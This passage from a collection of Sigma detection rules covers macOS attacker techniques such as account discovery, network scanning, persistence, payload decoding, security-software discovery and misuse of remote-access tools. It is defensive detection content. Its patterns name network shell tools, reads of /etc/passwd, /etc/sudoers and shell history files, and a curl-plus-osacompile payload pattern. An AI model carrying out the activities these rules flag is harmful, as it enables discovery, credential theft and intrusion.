"content": "title: Local System Accounts Discovery - MacOs\nid: ddf36b67-e872-4507-ab2e-46bda21b842c\nstatus: test\ndescription: Detects enumeration of local systeam accounts on MacOS\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-08\nmodified: 2022-11-27\ntags:\n - attack.discovery\n - attack.t1087.001\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_1:\n Image|endswith: '/dscl'\n CommandLine|contains|all:\n - 'list'\n - '/users'\n selection_2:\n Image|endswith: '/dscacheutil'\n CommandLine|contains|all:\n - '-q'\n - 'user'\n selection_3:\n CommandLine|contains: '''x:0:'''\n selection_4:\n Image|endswith: '/cat'\n CommandLine|contains:\n - '/etc/passwd'\n - '/etc/sudoers'\n selection_5:\n Image|endswith: '/id'\n selection_6:\n Image|endswith: '/lsof'\n CommandLine|contains: '-u'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_local_groups.yml",
"content": "title: Local Groups Discovery - MacOs\nid: 89bb1f97-c7b9-40e8-b52b-7d6afbd67276\nstatus: test\ndescription: Detects enumeration of local system groups\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md\nauthor: Ömer Günal, Alejandro Ortuno, oscd.community\ndate: 2020-10-11\nmodified: 2022-11-27\ntags:\n - attack.discovery\n - attack.t1069.001\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_1:\n Image|endswith: '/dscacheutil'\n CommandLine|contains|all:\n - '-q'\n - 'group'\n selection_2:\n Image|endswith: '/cat'\n CommandLine|contains: '/etc/group'\n selection_3:\n Image|endswith: '/dscl'\n CommandLine|contains|all:\n - '-list'\n - '/groups'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: informational\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml",
"content": "title: MacOS Network Service Scanning\nid: 84bae5d4-b518-4ae0-b331-6d4afd34d00f\nstatus: test\ndescription: Detects enumeration of local or remote network services.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-21\nmodified: 2021-11-27\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_1:\n Image|endswith:\n - '/nc'\n - '/netcat'\n selection_2:\n Image|endswith:\n - '/nmap'\n - '/telnet'\n filter:\n CommandLine|contains: 'l'\n condition: (selection_1 and not filter) or selection_2\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_network_sniffing.yml",
"content": "title: Network Sniffing - MacOs\nid: adc9bcc4-c39c-4f6b-a711-1884017bf043\nstatus: test\ndescription: |\n Detects the usage of tooling to sniff network traffic.\n An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-14\nmodified: 2022-11-26\ntags:\n - attack.discovery\n - attack.credential-access\n - attack.t1040\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith:\n - '/tcpdump'\n - '/tshark'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: informational\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml",
"content": "title: File Download Via Nscurl - MacOS\nid: 6d8a7cf1-8085-423b-b87d-7e880faabbdf\nstatus: test\ndescription: Detects the execution of the nscurl utility in order to download files.\nreferences:\n - https://www.loobins.io/binaries/nscurl/\n - https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl\n - https://gist.github.com/nasbench/ca6ef95db04ae04ffd1e0b1ce709cadd\nauthor: Daniel Cortez\ndate: 2024-06-04\ntags:\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1105\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/nscurl'\n CommandLine|contains:\n - '--download '\n - '--download-directory '\n - '--output '\n - '-dir '\n - '-dl '\n - '-ld'\n - '-o '\n condition: selection\nfalsepositives:\n - Legitimate usage of nscurl by administrators and users.\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_office_susp_child_processes.yml",
"content": "title: Suspicious Microsoft Office Child Process - MacOS\nid: 69483748-1525-4a6c-95ca-90dc8d431b68\nstatus: test\ndescription: Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution\nreferences:\n - https://redcanary.com/blog/applescript/\n - https://objective-see.org/blog/blog_0x4B.html\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-01-31\nmodified: 2023-02-04\ntags:\n - attack.execution\n - attack.persistence\n - attack.t1059.002\n - attack.t1137.002\n - attack.t1204.002\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n ParentImage|contains:\n - 'Microsoft Word'\n - 'Microsoft Excel'\n - 'Microsoft PowerPoint'\n - 'Microsoft OneNote'\n Image|endswith:\n - '/bash'\n - '/curl'\n - '/dash'\n - '/fish'\n - '/osacompile'\n - '/osascript'\n - '/sh'\n - '/zsh'\n - '/python'\n - '/python3'\n - '/wget'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_osacompile_runonly_execution.yml",
"content": "title: OSACompile Run-Only Execution\nid: b9d9b652-d8ed-4697-89a2-a1186ee680ac\nstatus: test\ndescription: Detects potential suspicious run-only executions compiled using OSACompile\nreferences:\n - https://redcanary.com/blog/applescript/\n - https://ss64.com/osx/osacompile.html\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-01-31\ntags:\n - attack.t1059.002\n - attack.execution\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n CommandLine|contains|all:\n - 'osacompile'\n - ' -x '\n - ' -e '\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml",
"content": "title: Payload Decoded and Decrypted via Built-in Utilities\nid: 234dc5df-40b5-49d1-bf53-0d44ce778eca\nstatus: test\ndescription: Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.\nreferences:\n - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823\nauthor: Tim Rauch (rule), Elastic (idea)\ndate: 2022-10-17\ntags:\n - attack.t1059\n - attack.t1204\n - attack.execution\n - attack.t1140\n - attack.defense-evasion\n - attack.s0482\n - attack.s0402\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/openssl'\n CommandLine|contains|all:\n - '/Volumes/'\n - 'enc'\n - '-base64'\n - ' -d '\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_persistence_via_plistbuddy.yml",
"content": "title: Potential Persistence Via PlistBuddy\nid: 65d506d3-fcfe-4071-b4b2-bcefe721bbbb\nstatus: test\ndescription: Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility\nreferences:\n - https://redcanary.com/blog/clipping-silver-sparrows-wings/\n - https://www.manpagez.com/man/8/PlistBuddy/\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-02-18\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1543.001\n - attack.t1543.004\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/PlistBuddy'\n CommandLine|contains|all:\n - 'RunAtLoad'\n - 'true'\n CommandLine|contains:\n - 'LaunchAgents'\n - 'LaunchDaemons'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_remote_access_tools_meshagent_arguments.yml",
"content": "title: Remote Access Tool - Potential MeshAgent Execution - MacOS\nid: 22c45af6-f590-4d44-bab3-b5b2d2a2b6d9\nrelated:\n - id: 2fbbe9ff-0afc-470b-bdc0-592198339968\n type: similar\nstatus: experimental\ndescription: |\n Detects potential execution of MeshAgent which is a tool used for remote access.\n Historical data shows that threat actors rename MeshAgent binary to evade detection.\n Matching command lines with the '--meshServiceName' argument can indicate that the MeshAgent is being used for remote access.\nreferences:\n - https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access\n - https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/\n - https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/\n - https://www.security.com/threat-intelligence/medusa-ransomware-attacks\nauthor: Norbert Jaśniewicz (AlphaSOC)\ndate: 2025-05-19\ntags:\n - attack.command-and-control\n - attack.t1219.002\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n CommandLine|contains: '--meshServiceName'\n condition: selection\nfalsepositives:\n - Environments that legitimately use MeshAgent\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_remote_access_tools_renamed_meshagent_execution.yml",
"content": "title: Remote Access Tool - Renamed MeshAgent Execution - MacOS\nid: bd3b5eaa-439d-4a42-8f35-a49f5c8a2582\nrelated:\n - id: b471f462-eb0d-4832-be35-28d94bdb4780\n type: similar\n - id: 22c45af6-f590-4d44-bab3-b5b2d2a2b6d9\n type: derived\nstatus: experimental\ndescription: |\n Detects the execution of a renamed instance of the Remote Monitoring and Management (RMM) tool, MeshAgent.\n RMM tools such as MeshAgent are commonly utilized by IT administrators for legitimate remote support and system management.\n However, malicious actors may exploit these tools by renaming them to bypass detection mechanisms, enabling unauthorized access and control over compromised systems.\nreferences:\n - https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access\n - https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/\n - https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/\n - https://www.security.com/threat-intelligence/medusa-ransomware-attacks\nauthor: Norbert Jaśniewicz (AlphaSOC)\ndate: 2025-05-19\ntags:\n - attack.command-and-control\n - attack.defense-evasion\n - attack.t1219.002\n - attack.t1036.003\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_meshagent:\n - CommandLine|contains: '--meshServiceName'\n - OriginalFileName|contains: 'meshagent'\n filter_main_legitimate:\n Image|endswith:\n - '/meshagent'\n - '/meshagent_osx64'\n condition: selection_meshagent and not 1 of filter_main_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_remote_access_tools_teamviewer_incoming_connection.yml",
"content": "title: Remote Access Tool - Team Viewer Session Started On MacOS Host\nid: f459ccb4-9805-41ea-b5b2-55e279e2424a\nrelated:\n - id: ab70c354-d9ac-4e11-bbb6-ec8e3b153357\n type: similar\n - id: 1f6b8cd4-3e60-47cc-b282-5aa1cbc9182d\n type: similar\nstatus: test\ndescription: |\n Detects the command line executed when TeamViewer starts a session started by a remote host.\n Once a connection has been started, an investigator can verify the connection details by viewing the \"incoming_connections.txt\" log file in the TeamViewer folder.\nreferences:\n - Internal Research\nauthor: Josh Nickels, Qi Nan\ndate: 2024-03-11\ntags:\n - attack.persistence\n - attack.initial-access\n - attack.t1133\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n ParentImage|endswith: '/TeamViewer_Service'\n Image|endswith: '/TeamViewer_Desktop'\n CommandLine|endswith: '/TeamViewer_Desktop --IPCport 5939 --Module 1'\n condition: selection\nfalsepositives:\n - Legitimate usage of TeamViewer\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_remote_system_discovery.yml",
"content": "title: Macos Remote System Discovery\nid: 10227522-8429-47e6-a301-f2b2d014e7ad\nstatus: test\ndescription: Detects the enumeration of other remote systems.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-22\nmodified: 2021-11-27\ntags:\n - attack.discovery\n - attack.t1018\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_1:\n Image|endswith: '/arp'\n CommandLine|contains: '-a'\n selection_2:\n Image|endswith: '/ping'\n CommandLine|contains:\n - ' 10.' # 10.0.0.0/8\n - ' 192.168.' # 192.168.0.0/16\n - ' 172.16.' # 172.16.0.0/12\n - ' 172.17.'\n - ' 172.18.'\n - ' 172.19.'\n - ' 172.20.'\n - ' 172.21.'\n - ' 172.22.'\n - ' 172.23.'\n - ' 172.24.'\n - ' 172.25.'\n - ' 172.26.'\n - ' 172.27.'\n - ' 172.28.'\n - ' 172.29.'\n - ' 172.30.'\n - ' 172.31.'\n - ' 127.' # 127.0.0.0/8\n - ' 169.254.' # 169.254.0.0/16\n condition: 1 of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: informational\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml",
"content": "title: Scheduled Cron Task/Job - MacOs\nid: 7c3b43d8-d794-47d2-800a-d277715aa460\nstatus: test\ndescription: Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-06\nmodified: 2022-11-27\ntags:\n - attack.execution\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1053.003\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/crontab'\n CommandLine|contains: '/tmp/'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_screencapture.yml",
"content": "title: Screen Capture - macOS\nid: 0877ed01-da46-4c49-8476-d49cdd80dfa7\nstatus: test\ndescription: Detects attempts to use screencapture to collect macOS screenshots\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md\n - https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py\nauthor: remotephone, oscd.community\ndate: 2020-10-13\nmodified: 2021-11-27\ntags:\n - attack.collection\n - attack.t1113\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n Image: '/usr/sbin/screencapture'\n condition: selection\nfalsepositives:\n - Legitimate user activity taking screenshots\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml",
"content": "title: Security Software Discovery - MacOs\nid: 0ed75b9c-c73b-424d-9e7d-496cd565fbe0\nstatus: test\ndescription: Detects usage of system utilities (only grep for now) to discover security software discovery\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2022-11-27\ntags:\n - attack.discovery\n - attack.t1518.001\nlogsource:\n category: process_creation\n product: macos\ndetection:\n image:\n Image: '/usr/bin/grep'\n selection_cli_1:\n CommandLine|contains:\n - 'nessusd' # nessus vulnerability scanner\n - 'santad' # google santa\n - 'CbDefense' # carbon black\n - 'falcond' # crowdstrike falcon\n - 'td-agent' # fluentd log shipper\n - 'packetbeat' # elastic network logger/shipper\n - 'filebeat' # elastic log file shipper\n - 'auditbeat' # elastic auditing agent/log shipper\n - 'osqueryd' # facebook osquery\n - 'BlockBlock' # Objective-See persistence locations watcher/blocker\n - 'LuLu' # Objective-See firewall management utility\n selection_cli_2: # Objective Development Software firewall management utility\n CommandLine|contains|all:\n - 'Little'\n - 'Snitch'\n condition: image and 1 of selection_cli_*\nfalsepositives:\n - Legitimate activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_space_after_filename.yml",
"content": "title: Space After Filename - macOS\nid: b6e2a2e3-2d30-43b1-a4ea-071e36595690\nstatus: test\ndescription: Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md\nauthor: remotephone\ndate: 2021-11-20\nmodified: 2023-01-04\ntags:\n - attack.defense-evasion\n - attack.t1036.006\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection1:\n CommandLine|endswith: ' '\n selection2:\n Image|endswith: ' '\n condition: 1 of selection*\nfalsepositives:\n - Mistyped commands or legitimate binaries named to match the pattern\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_split_file_into_pieces.yml",
"content": "title: Split A File Into Pieces\nid: 7f2bb9d5-6395-4de5-969c-70c11fbe6b12\nstatus: test\ndescription: Detection use of the command \"split\" to split files into parts and possible transfer.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md\nauthor: 'Igor Fits, Mikhail Larin, oscd.community'\ndate: 2020-10-15\nmodified: 2021-11-27\ntags:\n - attack.exfiltration\n - attack.t1030\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/split'\n condition: selection\nfalsepositives:\n - Legitimate administrative activity\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_susp_browser_child_process.yml",
"content": "title: Suspicious Browser Child Process - MacOS\nid: 0250638a-2b28-4541-86fc-ea4c558fa0c6\nstatus: test\ndescription: Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.\nreferences:\n - https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang\n - https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_initial_access_suspicious_browser_childproc.toml\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-04-05\ntags:\n - attack.initial-access\n - attack.execution\n - attack.t1189\n - attack.t1203\n - attack.t1059\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n ParentImage|contains:\n - 'com.apple.WebKit.WebContent'\n - 'firefox'\n - 'Google Chrome Helper'\n - 'Google Chrome'\n - 'Microsoft Edge'\n - 'Opera'\n - 'Safari'\n - 'Tor Browser'\n Image|endswith:\n - '/bash'\n - '/curl'\n - '/dash'\n - '/ksh'\n - '/osascript'\n - '/perl'\n - '/php'\n - '/pwsh'\n - '/python'\n - '/sh'\n - '/tcsh'\n - '/wget'\n - '/zsh'\n filter_main_generic:\n CommandLine|contains: '--defaults-torrc' # Informs tor to use default config file\n filter_main_ms_autoupdate:\n CommandLine|contains: '/Library/Application Support/Microsoft/MAU*/Microsoft AutoUpdate.app/Contents/MacOS/msupdate' # Microsoft AutoUpdate utility\n filter_main_chrome:\n ParentImage|contains:\n - 'Google Chrome Helper'\n - 'Google Chrome'\n CommandLine|contains:\n - '/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/*/Resources/install.sh' # Install the Google Chrome browser\n - '/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/*/Resources/keystone_promote_preflight.sh' # Updates the Google Chrome branding configuration files\n - '/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/*/Resources/keystone_promote_postflight.sh' # Script that performs the post-installation tasks\n filter_main_ms_edge:\n ParentImage|contains: 'Microsoft Edge'\n CommandLine|contains:\n - 'IOPlatformExpertDevice' # Retrieves the IOPlatformUUID (parent process - Microsoft Edge)\n - 'hw.model' # Retrieves model name of the computer's hardware (parent process - Microsoft Edge)\n filter_main_chromerecovery:\n ParentImage|contains:\n - 'Google Chrome Helper'\n - 'Google Chrome'\n CommandLine|contains|all:\n - '/Users/'\n - '/Library/Application Support/Google/Chrome/recovery/'\n - '/ChromeRecovery'\n filter_optional_null:\n # Aoids alerting for the events which do not have command-line arguments\n CommandLine: null\n filter_optional_empty:\n # Aoids alerting for the events which do not have command-line arguments\n CommandLine: ''\n condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*\nfalsepositives:\n - Legitimate browser install, update and recovery scripts\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml",
"content": "title: Suspicious Execution via macOS Script Editor\nid: 6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4\nstatus: test\ndescription: Detects when the macOS Script Editor utility spawns an unusual child process.\nauthor: Tim Rauch (rule), Elastic (idea)\nreferences:\n - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685\n - https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/\ndate: 2022-10-21\nmodified: 2022-12-28\nlogsource:\n category: process_creation\n product: macos\ntags:\n - attack.t1566\n - attack.t1566.002\n - attack.initial-access\n - attack.t1059\n - attack.t1059.002\n - attack.t1204\n - attack.t1204.001\n - attack.execution\n - attack.persistence\n - attack.t1553\n - attack.defense-evasion\ndetection:\n selection_parent:\n ParentImage|endswith: '/Script Editor'\n selection_img:\n - Image|endswith:\n - '/curl'\n - '/bash'\n - '/sh'\n - '/zsh'\n - '/dash'\n - '/fish'\n - '/osascript'\n - '/mktemp'\n - '/chmod'\n - '/php'\n - '/nohup'\n - '/openssl'\n - '/plutil'\n - '/PlistBuddy'\n - '/xattr'\n - '/sqlite'\n - '/funzip'\n - '/popen'\n - Image|contains:\n - 'python'\n - 'perl'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_susp_find_execution.yml",
"content": "title: Potential Discovery Activity Using Find - MacOS\nid: 85de3a19-b675-4a51-bfc6-b11a5186c971\nrelated:\n - id: 8344c0e5-5783-47cc-9cf9-a0f7fd03e6cf\n type: similar\nstatus: test\ndescription: Detects usage of \"find\" binary in a suspicious manner to perform discovery\nreferences:\n - https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-12-28\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/find'\n CommandLine|contains:\n - '-perm -4000'\n - '-perm -2000'\n - '-perm 0777'\n - '-perm -222'\n - '-perm -o w'\n - '-perm -o x'\n - '-perm -u=s'\n - '-perm -g=s'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml",
"content": "title: Suspicious History File Operations\nid: 508a9374-ad52-4789-b568-fc358def2c65\nstatus: test\ndescription: Detects commandline operations on shell history files\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md\nauthor: 'Mikhail Larin, oscd.community'\ndate: 2020-10-17\nmodified: 2021-11-27\ntags:\n - attack.credential-access\n - attack.t1552.003\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n CommandLine|contains:\n - '.bash_history'\n - '.zsh_history'\n - '.zhistory'\n - '.history'\n - '.sh_history'\n - 'fish_history'\n condition: selection\nfalsepositives:\n - Legitimate administrative activity\n - Legitimate software, cleaning hist file\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_susp_in_memory_download_and_compile.yml",
"content": "title: Potential In-Memory Download And Compile Of Payloads\nid: 13db8d2e-7723-4c2c-93c1-a4d36994f7ef\nstatus: test\ndescription: Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware\nreferences:\n - https://redcanary.com/blog/mac-application-bundles/\nauthor: Sohan G (D4rkCiph3r), Red Canary (idea)\ndate: 2023-08-22\ntags:\n - attack.command-and-control\n - attack.execution\n - attack.t1059.007\n - attack.t1105\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n CommandLine|contains|all:\n - 'osacompile'\n - 'curl'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml",
"content": "title: Suspicious MacOS Firmware Activity\nid: 7ed2c9f7-c59d-4c82-a7e2-f859aa676099\nstatus: test\ndescription: Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.\nreferences:\n - https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml\n - https://www.manpagez.com/man/8/firmwarepasswd/\n - https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web\nauthor: Austin Songer @austinsonger\ndate: 2021-09-30\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection1:\n Image: '/usr/sbin/firmwarepasswd'\n CommandLine|contains:\n - 'setpasswd'\n - 'full'\n - 'delete'\n - 'check'\n condition: selection1\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_susp_system_network_discovery.yml",
"content": "title: System Network Discovery - macOS\nid: 58800443-f9fc-4d55-ae0c-98a3966dfb97\nstatus: test\ndescription: Detects enumeration of local network configuration\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md\nauthor: remotephone, oscd.community\ndate: 2020-10-06\nmodified: 2024-08-29\ntags:\n - attack.discovery\n - attack.t1016\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection_1:\n Image|endswith:\n - '/arp'\n - '/ifconfig'\n - '/netstat'\n - '/networksetup'\n - '/socketfilterfw'\n selection_2:\n Image: '/usr/bin/defaults'\n CommandLine|contains|all:\n - '/Library/Preferences/com.apple.alf'\n - 'read'\n filter_main_wifivelocityd:\n ParentImage|endswith: '/wifivelocityd'\n condition: 1 of selection_* and not 1 of filter_main_*\nfalsepositives:\n - Legitimate administration activities\nlevel: informational\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_suspicious_applet_behaviour.yml",
"content": "title: Osacompile Execution By Potentially Suspicious Applet/Osascript\nid: a753a6af-3126-426d-8bd0-26ebbcb92254\nstatus: test\ndescription: Detects potential suspicious applet or osascript executing \"osacompile\".\nreferences:\n - https://redcanary.com/blog/mac-application-bundles/\nauthor: Sohan G (D4rkCiph3r), Red Canary (Idea)\ndate: 2023-04-03\ntags:\n - attack.execution\n - attack.t1059.002\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n ParentImage|endswith:\n - '/applet'\n - '/osascript'\n CommandLine|contains: 'osacompile'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_swvers_discovery.yml",
"content": "title: System Information Discovery Using sw_vers\nid: 5de06a6f-673a-4fc0-8d48-bcfe3837b033\nstatus: test\ndescription: Detects the use of \"sw_vers\" for system information discovery\nreferences:\n - https://www.virustotal.com/gui/file/d3fa64f63563fe958b75238742d1e473800cb5f49f5cb79d38d4aa3c93709026/behavior\n - https://www.virustotal.com/gui/file/03b71eaceadea05bc0eea5cddecaa05f245126d6b16cfcd0f3ba0442ac58dab3/behavior\n - https://ss64.com/osx/sw_vers.html\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-12-20\ntags:\n - attack.discovery\n - attack.t1082\nlogsource:\n product: macos\n category: process_creation\ndetection:\n # VT Query: 'behavior_processes:\"sw_vers\" and (behavior_processes:\"-productVersion\" or behavior_processes:\"-productName\" or behavior_processes:\"-buildVersion\") tag:dmg p:5+'\n selection_image:\n Image|endswith: '/sw_vers'\n selection_options:\n CommandLine|contains:\n - '-buildVersion'\n - '-productName'\n - '-productVersion'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administrative activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml",
